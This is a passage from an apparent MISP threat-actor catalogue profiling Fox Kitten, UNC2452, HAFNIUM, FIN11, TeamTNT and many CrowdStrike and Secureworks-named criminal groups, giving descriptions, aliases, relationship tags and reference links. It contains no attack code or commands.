https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-cryptocurrency-forex-commodities
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-evilnum-apt-group-active-iocs-7
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-evilnum-apt-group-targeting-financial-sector
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.hivepro.com/wp-content/uploads/2022/08/Vulnerabilities-Threats-that-Matter-25th-to-31st-July.pdf
https://medium.com/bitso-engineering/profiling-disrupting-an-apt-spear-phishing-campaign-targeting-slack-users-in-the-financial-sector-9389533d5fc2

Fox Kitten

PIONEER KITTEN is an Iran-based adversary that has been active since at least 2017 and has a suspected nexus to the Iranian government. This adversary appears to be primarily focused on gaining and maintaining access to entities possessing sensitive information of likely intelligence interest to the Iranian government. According to DRAGOS, they also targeted ICS-related entities using known VPN vulnerabilities. They are widely known to use open source penetration testing tools for reconnaissance and to establish encrypted communications.

The tag is: *misp-galaxy:threat-actor="Fox Kitten"*

Fox Kitten is also known as:

- PIONEER KITTEN

- PARISITE
- UNC757
- Lemon Sandstorm
- RUBIDIUM

View relationships graph

Fox Kitten has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Lemon Sandstorm" with estimative-language:likelihood-probability="likely"

Table 18387. Table References

Links
https://youtu.be/pBDu8EGWRC4?t=2492
https://www.dragos.com/threat/parisite
https://www.dragos.com/wp-content/uploads/The-ICS-Threat-Landscape.pdf
https://www.dragos.com/wp-content/uploads/NA-EL-Threat-Perspective-2019.pdf
https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign.pdf
https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices
https://www.crowdstrike.com/blog/who-is-pioneer-kitten
https://www.zdnet.com/article/iranian-hackers-are-selling-access-to-compromised-companies-on-an-underground-forum
https://us-cert.cisa.gov/ncas/alerts/aa20-259a

XDSpy

Rare is the APT group that goes largely undetected for nine years, but XDSpy is just that; a previously undocumented espionage group that has been active since 2011. It has attracted very little public attention, with the exception of an advisory from the Belarusian CERT in February 2020. In the interim, the group has compromised many government agencies and private companies in Eastern Europe and the Balkans.

The tag is: *misp-galaxy:threat-actor="XDSpy"*

Table 18388. Table References

Links
https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/
https://vblocalhost.com/uploads/VB2020-Faou-Labelle.pdf
https://github.com/eset/malware-ioc/tree/master/xdspy/

Evil Corp

Evil Corp is an internaltional cybercrime network. In December of 2019 the US Federal Government offered a $5M bounty for information leading to the arrest and conviction of Maksim V. Yakubets for allegedly orchestrating Evil Corp operations. Responsible for stealing over $100M from businesses and consumers. The Evil Corp organization is known for utilizing custom strains of malware such as JabberZeus, Bugat and Dridex to steal banking credentials.

The tag is: *misp-galaxy:threat-actor="Evil Corp"*

Evil Corp is also known as:

- GOLD DRAKE

Table 18389. Table References

Links
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/
https://en.wikipedia.org/wiki/Maksim_Yakubets
https://www.bbc.com/news/world-us-canada-53195749
http://www.secureworks.com/research/threat-profiles/gold-drake
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

TRACER KITTEN

In April 2020, Crowstrike Falcon OverWatch discovered Iran-based adversary TRACER KITTEN conducting malicious interactive activity against multiple hosts at a telecommunications company in the Europe, Middle East and Africa (EMEA) region. The actor was found operating under valid user accounts, using custom backdoors in combination with SSH tunnels for C2. The adversary leveraged their foothold to conduct a variety of reconnaissance activities, undertake credential harvesting and prepare for data exfiltration.

The tag is: *misp-galaxy:threat-actor="TRACER KITTEN"*

Table 18390. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf

FIN11

FIN11 is a well-established financial crime group that has recently focused its operations on ransomware and extortion. The group has been active since 2017 and has been tracked under UNC902 and later on as TEMP.Warlok. In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity.(FireEye) Mandiant has also responded to numerous FIN11 intrusions, but we’ve only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing

operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group's shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion. Notably, FIN11 includes a subset of the activity security researchers call TA505, Graceful Spider, Gold Evergreen, but we do not attribute TA505's early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors' use of criminal service providers. Like most financially motivated actors, FIN11 doesn't operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.

The tag is: *misp-galaxy:threat-actor="FIN11"*

FIN11 is also known as:

- TEMP.Warlock
- UNC902

View relationships graph

FIN11 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Lace Tempest" with estimative-language:likelihood-probability="likely"

Table 18391. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html
https://www.fireeye.com/blog/threat-research/2020/10/fin11-email-campaigns-precursor-for-ransomware-data-theft.html
https://www.brighttalk.com/webcast/7451/447347

UNC1878

UNC1878 is a financially motivated threat actor that monetizes network access via the deployment of RYUK ransomware. Earlier this year, Mandiant published a blog on a fast-moving adversary deploying RYUK ransomware, UNC1878. Shortly after its release, there was a significant decrease in observed UNC1878 intrusions and RYUK activity overall almost completely vanishing over the summer. But beginning in early fall, Mandiant has seen a resurgence of RYUK along with TTP overlaps indicating that UNC1878 has returned from the grave and resumed their operations.

The tag is: *misp-galaxy:threat-actor="UNC1878"*

Table 18392. Table References

Links
https://twitter.com/anthomsec/status/1321865315513520128
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://gist.github.com/aaronst/6aa7f61246f53a8dd4befea86e832456
https://www.youtube.com/watch?v=CgDtm05qApE
https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html

Red Charon

Throughout 2019, multiple companies in the Taiwan high-tech ecosystem were victims of an advanced persistent threat (APT) attack. Due to these APT attacks having similar behavior profiles (similar adversarial techniques, tactics, and procedures or TTP) with each other and previously documented cyberattacks, CyCraft assess with high confidence these new attacks were conducted by the same foreign threat actor. During their investigation, they dubbed this threat actor Chimera. “Chimera” stands for the synthesis of hacker tools that they’ve seen the group use, such as the skeleton key malware that contained code extracted from both Dumpert and Mimikatz — hence Chimera. Their operation — the entirety of the new attacks utilizing the Skeleton Key attack (described below) from late 2018 to late 2019, CyCraft have dubbed Operation Skeleton Key.

The tag is: *misp-galaxy:threat-actor="Red Charon"*

Table 18393. Table References

Links
https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf
https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/
https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf
https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

UNC2452

Reporting regarding activity related to the SolarWinds supply chain injection has grown quickly since initial disclosure on 13 December 2020. A significant amount of press reporting has focused on the identification of the actor(s) involved, victim organizations, possible campaign timeline, and potential impact. The US Government and cyber community have also provided detailed information on how the campaign was likely conducted and some of the malware used. MITRE’s ATT&CK team — with the assistance of contributors — has been mapping techniques used by the actor group, referred to as UNC2452/Dark Halo by FireEye and Volexity respectively, as well as

SUNBURST and TEARDROP malware.

The tag is: *misp-galaxy:threat-actor="UNC2452"*

UNC2452 is also known as:

- DarkHalo
- StellarParticle
- NOBELIUM
- Solar Phoenix
- Midnight Blizzard

View relationships graph

UNC2452 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="SNOWYAMBER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="HALFRIG" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="QUARTERRIG" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Midnight Blizzard" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"

Table 18394. Table References

Links
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://news.sophos.com/en-us/2020/12/21/how-sunburst-malware-does-defense-evasion/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://pastebin.com/6EDgCKxd
https://github.com/fireeye/sunburst_countermeasures
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware
https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html
https://unit42.paloaltonetworks.com/atoms/solarphoenix/

https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/
https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/

TeamTNT

In early Febuary, 2021 TeamTNT launched a new campaign against Docker and Kubernetes environments. Using a collection of container images that are hosted in Docker Hub, the attackers are targeting misconfigured docker daemons, Kubeflow dashboards, and Weave Scope, exploiting these environments in order to steal cloud credentials, open backdoors, mine cryptocurrency, and launch a worm that is looking for the next victim. They're linked to the First Crypto-Mining Worm to Steal AWS Credentials and Hildegard Cryptojacking malware. TeamTNT is a relatively recent addition to a growing number of threats targeting the cloud. While they employ some of the same tactics as similar groups, TeamTNT stands out with their social media presence and penchant for self-promotion. Tweets from the TeamTNT's account are in both English and German although it is unknown if they are located in Germany.

The tag is: *misp-galaxy:threat-actor="TeamTNT"*

TeamTNT is also known as:

- Adept Libra

Table 18395. Table References

Links
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt
https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment
https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool
https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html
https://cyware.com/news/hildegard-teamtnts-new-feature-rich-malware-targeting-kubernetes-6587eb45
https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/
https://unit42.paloaltonetworks.com/atoms/adept-libra/

HAFNIUM

HAFNIUM primarily targets entities in the United States across a number of industry sectors,

including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures. HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they've gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.In campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets' environments. HAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.

The tag is: *misp-galaxy:threat-actor="HAFNIUM"*

HAFNIUM is also known as:

- ATK233
- G0125
- Operation Exchange Marauder
- Red Dev 13
- Silk Typhoon
- MURKY PANDA

View relationships graph

HAFNIUM has relationships with:

- similar: misp-galaxy:microsoft-activity-group="HAFNIUM" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="Silk Typhoon" with estimative-language:likelihood-probability="likely"

Table 18396. Table References

Links
https://attack.mitre.org/groups/G0125/
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers
https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
https://www.splunk.com/en_us/blog/security/detecting-hafnium-exchange-server-zero-day-activity-in-splunk.html
https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers
https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day

https://twitter.com/ESETresearch/status/1366862946488451088
https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html
https://us-cert.cisa.gov/ncas/alerts/aa21-062a
https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289
https://github.com/microsoft/CSS-Exchange/tree/main/Security
https://github.com/cert-lv/exchange_webshell_detection
https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits
https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021
https://pastebin.com/J4L3r2RS
https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/exchange-iis-worker-dropping-webshell.md
https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server
https://www.nextron-systems.com/2021/03/06/scan-for-hafnium-exploitation-evidence-with-thor-lite
https://www.thedailybeast.com/how-chinas-devastating-microsoft-hack-puts-us-all-at-risk
https://www.rnz.co.nz/news/political/447239/government-points-finger-at-china-over-cyber-attacks
https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking
https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

RedEcho

RedEcho: The group made heavy use of AXIOMATICASYMPTOTE — a term we use to track infrastructure that comprises ShadowPad C2s, which is shared between several Chinese threat activity groups

The tag is: *misp-galaxy:threat-actor="RedEcho"*

Table 18397. Table References

Links
https://www.recordedfuture.com/redecho-targeting-indian-power-sector/

https://therecord.media/redecho-group-parks-domains-after-public-exposure/

Ghostwriter

Ghostwriter is referred as an 'activity set', with various incidents tied together by overlapping behavioral characteristics and personas, rather than as an actor or group in itself.

The tag is: *misp-galaxy:threat-actor="Ghostwriter"*

Ghostwriter is also known as:

- UNC1151
- TA445
- PUSHCHA
- Storm-0257
- DEV-0257
- UAC-0057

View relationships graph

Ghostwriter has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Storm-0257" with estimative-language:likelihood-probability="likely"

Table 18398. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/07/ghostwriter-influence-campaign.html
https://twitter.com/hatr/status/1377220336597483520
https://www.mandiant.com/resources/unc1151-linked-to-belarus-government
https://www.bleepingcomputer.com/news/security/meta-ukrainian-officials-military-targeted-by-ghostwriter-hackers
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://blog.google/threat-analysis-group/fog-of-war-how-the-ukraine-conflict-transformed-the-cyber-threat-landscape/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html
https://socprime.com/blog/uac-0057-attack-detection-a-surge-in-adversary-activity-distributing-picassoloader-and-cobalt-strike-beacon/
https://socprime.com/blog/picassoloader-and-cobalt-strike-beacon-detection-uac-0057-aka-ghostwriter-hacking-group-attacks-the-ukrainian-leading-military-educational-institution/

https://cert.gov.ua/article/5098518

Yanbian Gang

RiskIQ characterizes the Yanbian Gang as a group that targeted South Korean Android mobile banking customers since 2013 with malicious Android apps purporting to be from major banks, namely Shinhan Savings Bank, Saemaul Geumgo, Shinhan Finance, KB Kookmin Bank, and NH Savings Bank.

The tag is: *misp-galaxy:threat-actor="Yanbian Gang"*

Table 18399. Table References

Links
https://www.riskiq.com/blog/external-threat-management/yanbian-gang-malware-distribution/
https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html
https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html
https://www.trendmicro.com/en_us/research/18/f/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users.html
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-malware-gang-steals-millions-from-south-korean-users/

TRAVELING SPIDER

Crowdstrike Tracks the criminal developer of Nemty ransomware as TRAVELING SPIDER. The actor has been observed to take advantage of single-factor authentication to gain access to victim organizations through Citrix Gateway and send extortion-related emails using the victim's own Microsoft Office 365 instance.

The tag is: *misp-galaxy:threat-actor="TRAVELING SPIDER"*

Table 18400. Table References

Links
https://www.cyberscoop.com/coronavirus-hacking-disinformation-ransomware-spearphishing/
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeServicesCyberFrontLines.pdf

MALLARD SPIDER

Crowdstrike tarcks the operators behind the Qbot as MALLARD SPIDER

The tag is: *misp-galaxy:threat-actor="MALLARD SPIDER"*

MALLARD SPIDER is also known as:

- GOLD LAGOON

Table 18401. Table References

Links
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-analyzing-a-fowl-banking-trojan-part-1/
http://www.secureworks.com/research/threat-profiles/gold-lagoon

RIDDLE SPIDER

According to Crowdstrike, RIDDLE SPIDER is the operator behind the avaddon ransomware

The tag is: *misp-galaxy:threat-actor="RIDDLE SPIDER"*

Table 18402. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

GOLD DUPONT

GOLD DUPONT is a financially motivated cybercriminal threat group that specializes in post-intrusion ransomware attacks using 777 (aka Defray777 or RansomExx) malware. Active since November 2018, GOLD DUPONT establishes initial access into victim networks using stolen credentials to remote access services like virtual desktop infrastructure (VDI) or virtual private networks (VPN). From October 2019 to early 2020 the group used GOLD BLACKBURN's TrickBot malware as an initial access vector (IAV) during some intrusions. Since July 2020, the group has also used GOLD SWATHMORE's IcedID (Bokbot) malware as an IAV in some intrusions.

The tag is: *misp-galaxy:threat-actor="GOLD DUPONT"*

GOLD DUPONT is also known as:

- SPRITE SPIDER

Table 18403. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-dupont
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://www.youtube.com/watch?v=qxPXxWMI2i4

SOLAR SPIDER

SOLAR SPIDER's phishing campaigns deliver the JSOutProx RAT to financial institutions across Africa, the Middle East, South Asia and Southeast Asia.

The tag is: *misp-galaxy:threat-actor="SOLAR SPIDER"*

Table 18404. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

VIKING SPIDER

VIKING SPIDER is the criminal group behind the development and distribution of Ragnar Locker ransomware. While public reporting indicates the group began threatening to leak victim data in February 2020, a DLS was not observed until April 2020. The DLS is hosted on Tor, and similar to other actors, proof of data exfiltration is provided before the stolen data is fully leaked. It was also noted that On Dec. 22, 2020, a new post made to MountLocker ransomware's Tor-hosted DLS was titled 'Cartel News' and included details of a victim of VIKING SPIDER's Ragnar Locker

The tag is: *misp-galaxy:threat-actor="VIKING SPIDER"*

Table 18405. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf

CIRCUS SPIDER

According to Crowdstrike, the NetWalker ransomware is being developed and maintained by a Russian-speaking actor designated as CIRCUS SPIDER. Initially discovered in September 2019and havinga compilation timestamp dating back to 28 August 2019, NetWalker has been found to be used in Big Game Hunting (BGH)-style operations while also being distributed via spam. CIRCUS SPIDER is advertising NetWalkeras being a closed-affiliate program,and verifies applicants before they are being accepted as an affiliate. The requirements rangefrom providing proof of previous revenue in similar affiliates programs, experience in the field and what type of industry the applicantis targeting.

The tag is: *misp-galaxy:threat-actor="CIRCUS SPIDER"*

Table 18406. Table References

Links
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/
https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/
https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf

GOLD EVERGREEN

GOLD EVERGREEN was a financially motivated cybercriminal threat group that operated the Gameover Zeus (aka Mapp, P2P Zeus) botnet until June 2014. It encompasses an expansive and long running criminal conspiracy operated by a confederation of individuals calling themselves The Business Club from the mid 2000s until 2014. GOLD EVERGREEN's technical operation was facilitated primarily through botnets using the Zeus, JabberZeus, and eventually Gameover Zeus malware families. These malware families were designed and maintained by a Russian national Evgeniy Bogachev (aka 'slavik') who was indicted by the U.S. DOJ in 2014 and remains a fugitive.

The tag is: *misp-galaxy:threat-actor="GOLD EVERGREEN"*

Table 18407. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group

BAMBOO SPIDER

Crowdstrike tracks the developer of Panda Zeus as BAMBOO SPIDER

The tag is: *misp-galaxy:threat-actor="BAMBOO SPIDER"*

Table 18408. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf
https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/

BOSON SPIDER

BOSON SPIDER is a cyber criminal group, which was first identified in 2015, recently and inexplicably went dark in the spring of 2016, appears to be a tightly knit group operating out of Eastern Europe. They have used a variety of distribution mechanisms such as the infamous (and now defunct) angler exploit kit, and obfuscated JavaScript to reduce the detection by antivirus solutions.

The tag is: *misp-galaxy:threat-actor="BOSON SPIDER"*

Table 18409. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report_BosonSpider.pdf
https://www.crowdstrike.com/blog/ecrime-ecosystem/

OVERLORD SPIDER

OVERLORD SPIDER, aka The Dark Overlord. Similar to ransomware operators today, OVERLORD SPIDER likely purchased RDP access to compromised servers on underground forums in order to exfiltrate data from corporate networks. The actor was known to attempt to “sell back” the data to the respective victims, threatening to sell the data to interested parties should the victim refuse to pay. There was at least one identified instance of OVERLORD SPIDER successfully selling victim data on an underground market.

The tag is: *misp-galaxy:threat-actor="OVERLORD SPIDER"*

Table 18410. Table References

Links
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

OUTLAW SPIDER

On May 7, 2019, Mayor Bernard “Jack” Young confirmed that the network for the U.S. City of Baltimore (CoB) was infected with ransomware, which was announced via Twitter1. This infection was later confirmed to be conducted by OUTLAW SPIDER, which is the actor behind the RobbinHood ransomware. The actor demanded to be paid 3 BTC (approximately $17,600 USD at the time) per infected system, or 13 BTC (approximately $76,500 USD at the time) for all infected systems to recover the city’s files.

The tag is: *misp-galaxy:threat-actor="OUTLAW SPIDER"*

Table 18411. Table References

Links
https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeServicesCyberFrontLines.pdf

MIMIC SPIDER

MIMIC SPIDER is mentioned in two summary reports only

The tag is: *misp-galaxy:threat-actor="MIMIC SPIDER"*

Table 18412. Table References

Links
https://conferences.law.stanford.edu/cyberday/wp-content/uploads/sites/10/2016/10/2a_15GlobalThreatReport_Extracted.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

HOUND SPIDER

According to Crowdstrike, HOUND SPIDER affiliates arrested in Romania on December,2017

The tag is: *misp-galaxy:threat-actor="HOUND SPIDER"*

Table 18413. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf

GOLD BURLAP

GOLD BURLAP is a group of financially motivated criminals responsible for the development of the Pysa ransomware, also referred to as Mespinoza. Pysa is a cross-platform ransomware with known versions written in C++ and Python. As of December 2020, approximately 50 organizations had reportedly been targeted in Pysa ransomware attacks. The operators leverage 'name and shame' tactics to apply additional pressure to victims. As of January 2021, CTU researchers had found no Pysa advertisements on underground forums, which likely indicates that it is not operated as ransomware as a service (RaaS).

The tag is: *misp-galaxy:threat-actor="GOLD BURLAP"*

GOLD BURLAP is also known as:

- CYBORG SPIDER

View relationships graph

GOLD BURLAP has relationships with:

- uses: misp-galaxy:malpedia="Mespinoza" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:malpedia="MimiKatz" with estimative-language:likelihood-probability="very-likely"

Table 18414. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-burlap

https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf

GOLD CABIN

GOLD CABIN is a financially motivated cybercriminal threat group operating a malware distribution service on behalf of numerous customers since 2018. GOLD CABIN uses malicious documents, often contained in password-protected archives, delivered through email to download and execute payloads. The second-stage payloads are most frequently Gozi ISFB (Ursnif) or IcedID (Bokbot), sometimes using intermediary malware like Valak. GOLD CABIN infrastructure relies on artificial appearing and frequently changing URLs created with a domain generation algorithm (DGA). The URLs host a PHP object that returns the malware as a DLL file.

The tag is: *misp-galaxy:threat-actor="GOLD CABIN"*

GOLD CABIN is also known as:

- Shakthak
- TA551
- ATK236
- G0127
- Monster Libra

Table 18415. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-cabin
https://attack.mitre.org/groups/G0127/
https://unit42.paloaltonetworks.com/atoms/monsterlibra/

GOLD FAIRFAX

GOLD FAIRFAX is a financially motivated cybercriminal threat group responsible for the creation, distribution, and operation of the Ramnit botnet. Ramnit, the phonetic spelling of RMNet, the internal name of the core module, began operation in April 2010 and became widespread in July 2010. A particularly virulent file-infecting component of early Ramnit variants that spreads by modifying executables and HTML files has resulted in the continued prevalence of those early variants. Currently, Ramnit remains an actively maintained and distributed threat. The intent of Ramnit is to intercept and manipulate online financial transactions through modification of web browser behavior ('man-in-the-browser').

The tag is: *misp-galaxy:threat-actor="GOLD FAIRFAX"*

Table 18416. Table References

Links

http://www.secureworks.com/research/threat-profiles/gold-fairfax

GOLD FLANDERS

GOLD FLANDERS is a financially motivated group responsible for distributed denial of service (DDOS) attacks linked to extortion emails demanding between 5 and 30 bitcoins. The attacks consist mostly of fragmented UDP packets (DNS and NTP reflection) as well as other traffic that can vary per victim. The arrival of the extortion email is timed to coincide with a DDOS attack consisting of traffic between 20 Gbps and 200 Gbps and 12-15 million packets per second, lasting between 20 and 70 minutes targeted at a particular Autonomous System Number (ASN) or group of IP addresses. In some cases victim organisations have replied to these extortion emails and received personal replies from GOLD FLANDERS operators within 20 minutes.

The tag is: *misp-galaxy:threat-actor="GOLD FLANDERS"*

Table 18417. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-flanders

GOLD GALLEON

GOLD GALLEON is a financially motivated cybercriminal threat group comprised of at least 20 criminal associates that collectively carry out business email compromise (BEC) and spoofing (BES) campaigns. The group appears to specifically target maritime organizations and their customers. CTU researchers have observed GOLD GALLEON targeting firms in South Korea, Japan, Singapore, Philippines, Norway, U.S., Egypt, Saudi Arabia, and Colombia. The threat actors leverage tools, tactics, and procedures that are similar to those used by other BEC/BES groups CTU researchers have previously investigated, such as GOLD SKYLINE. The groups have used the same caliber of publicly available malware (inexpensive and commodity remote access trojans), crypters, and email lures.

The tag is: *misp-galaxy:threat-actor="GOLD GALLEON"*

Table 18418. Table References

Links
https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry
http://www.secureworks.com/research/threat-profiles/gold-galleon

GOLD GARDEN

GOLD GARDEN was a financially motivated cybercriminal threat group that authored and operated the GandCrab ransomware from January 2018 through May 2019. GandCrab was operated as a ransomware-as-a-service operation whereby numerous affiliates distributed the malware and split ransom payments with the core operators. GOLD GARDEN maintained exclusive control of the

development of GandCrab and associated command and control (C2) infrastructure. Individual affiliates, of which there were frequently more than a dozen in operation simultaneously, coordinated the distribution of GandCrab through spam emails, web exploit kits, pay-per-install botnets, and scan-and-exploit style attacks. On May 31, 2019 the operators announced they have halted operations with no intent to resume for unknown reasons. In April 2019 the operators of GOLD GARDEN transferred the source code of GandCrab to GOLD SOUTHFIELD who used it as the foundation of the REvil ransomware operation. GOLD SOUTHFIELD operates a similar affiliate program comprised largely of former GandCrab users and other groups recruited from underground forums.

